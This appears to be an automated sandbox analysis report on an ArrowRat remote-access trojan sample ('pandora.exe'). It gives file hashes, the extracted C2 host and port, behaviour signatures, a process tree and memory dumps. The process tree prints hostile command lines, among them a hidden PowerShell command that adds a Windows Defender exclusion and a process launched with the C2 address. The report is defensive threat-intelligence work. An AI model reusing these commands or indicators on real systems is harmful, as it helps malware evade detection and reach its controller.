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pandora.exe

windows7-x64

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pandora.exe

windows10-2004-x64

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Analysis

  • max time kernel
    115s
  • max time network
    103s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-01-2025 11:39

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General

  • Target

    pandora.exe

  • Size

    158KB

  • MD5

    990b4366c8214281b19989fff2beebb7

  • SHA1

    56814a2602db00e25bbb2c07aaf8ebffce00f6ef

  • SHA256

    79cde129a3ca0865d953d1e1e664497100c5d185f14ba49e6aa261f6f0282132

  • SHA512

    d6c461aec2e0becbaf76c8e6ebc9ed249c26c0a203af4445c5af999724dffa4653c4f3b6e4b597b99dd66943e7b36c8e9f613825183926556f456a26d22e6681

  • SSDEEP

    3072:wbzoH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPodO8Y:wbzoe0ODhTEPgnjuIJzo+PPcfPoQ8

Score
10/10
arrowrathvncdiscoveryexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

HVNC

C2

vshostupdater.duckdns.org:34357

Mutex

TnXRoYazW

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Arrowrat family
    arrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\pandora.exe
    "C:\Users\Admin\AppData\Local\Temp\pandora.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4380
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1132
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HVNC vshostupdater.duckdns.org 34357 TnXRoYazW
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4620
    • C:\Windows\System32\ComputerDefaults.exe
      "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:788
      • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Pan\windowscc'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4640
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1796
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3948

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133810691867711622.txt
    Filesize

    76KB

    MD5

    b57476faca04933dbe21ba129f9dbc00

    SHA1

    52d51ad8b3b3fa59b442c35adf3e9baebdf912e6

    SHA256

    d92036a1187dd3e642741637c096b009923263ba06ad90c80892e455628d2f41

    SHA512

    7aac37eda13d7efc394b3e24c210fe47ee790384cf1239d2548ac1854a4800ac5e5ee8b0cf8a5abab2b50275d354b2f6311ca9be838adb81820e3fef139dccde

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  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0t1bh3dd.41m.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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  • memory/1132-31-0x0000000002960000-0x0000000002961000-memory.dmp

    Filesize

    4KB

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  • memory/3948-33-0x000001FA77100000-0x000001FA77200000-memory.dmp

    Filesize

    1024KB

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  • memory/3948-34-0x000001FA77100000-0x000001FA77200000-memory.dmp

    Filesize

    1024KB

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  • memory/3948-60-0x00000202797C0000-0x00000202797E0000-memory.dmp

    Filesize

    128KB

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  • memory/3948-37-0x00000202791E0000-0x0000020279200000-memory.dmp

    Filesize

    128KB

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  • memory/3948-48-0x00000202791A0000-0x00000202791C0000-memory.dmp

    Filesize

    128KB

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  • memory/3948-32-0x000001FA77100000-0x000001FA77200000-memory.dmp

    Filesize

    1024KB

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  • memory/4380-1-0x00000279EE890000-0x00000279EE8BE000-memory.dmp

    Filesize

    184KB

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  • memory/4380-0-0x00007FFC2E373000-0x00007FFC2E375000-memory.dmp

    Filesize

    8KB

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  • memory/4620-10-0x0000000005FD0000-0x0000000006020000-memory.dmp

    Filesize

    320KB

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  • memory/4620-2-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

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  • memory/4620-4-0x0000000004FB0000-0x0000000005042000-memory.dmp

    Filesize

    584KB

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  • memory/4620-5-0x0000000005050000-0x00000000050EC000-memory.dmp

    Filesize

    624KB

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  • memory/4620-7-0x00000000056E0000-0x0000000005746000-memory.dmp

    Filesize

    408KB

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  • memory/4620-6-0x0000000005820000-0x0000000005DC4000-memory.dmp

    Filesize

    5.6MB

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  • memory/4640-25-0x0000025A24070000-0x0000025A24092000-memory.dmp

    Filesize

    136KB

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